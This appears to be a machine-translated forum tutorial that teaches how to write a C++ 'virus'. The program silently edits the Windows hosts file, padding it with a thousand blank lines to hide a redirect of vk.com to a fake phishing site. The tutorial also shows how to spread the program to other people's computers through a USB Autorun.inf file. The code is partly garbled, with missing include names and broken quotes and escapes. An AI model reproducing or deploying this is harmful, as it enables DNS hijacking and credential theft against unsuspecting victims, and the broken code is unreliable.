Related Reads
We write the program for substitution of hosts (with ++)
For a start, a little bit of information from google what is it
Quote:
hosts – a text file containing a database of domain names and used when translating them into the network addresses of nodes. This file takes precedence over DNS servers. Unlike DNS, the contents of the file are controlled by the administrator of the computer.
tobish we will replace the dns server. for this we need a hosting with a dedicated ip.
(hereinafter we will put a fake on our site on the hosting)
and so we went to the writing of the program itself.
Open C ++. Click File – Create, Source File. A blank sheet appears. Start writing code.
Quote:
#include // standard input / output stream.
#include // for working with files
using namespace std; // use the default namespace std.
int main () {/ * is the main function. It does not return anything, but the type of the main function can only be an int. void is impossible. * /
freopen (“C: / WINDOWS / system32 / drivers / etc / hosts”, “at”, stdout); / * here we are redirecting iostream to fstream with a record key. * /
unsigned int a = 0; // create a variable counter.
while (a <= 1000) {// create a loop
a ++; // which fills the hosts file
cout << ” n”; // thousand empty lines
}
cout << “127.0.0.1 vk.com”; // this is the redirect string
}
cout << “127.0.0.1 vk.com”; – here we change the type address to your fake ..
So. Now we have the code, it needs to be compiled. Click Run – Compile. Now in the folder that we specified there is an exe file. If you run it, then your hosts file will be added.
We create autostart of a virus through the USB stick.
To do this, transfer the resulting program to your flash drive. Next, create an Autorun.inf file on a flash drive.
Open it with a notebook and write.
Quote:
[AutoRun]
shellexecute = program_name
Action = what_will_script_d_auto start
Icon = Icon
Label = flashfly name
Everything is ready) now when we insert the USB flash drive into someone’s computer, our program will open, change the hosts file and close.
Did You Know?
Cybrary has tons of FREE training resources!
For lifetime access simply CREATE A FREE ACCOUNT.
Already a member? login here.
We recommend always using caution when following any link
Are you sure you want to continue?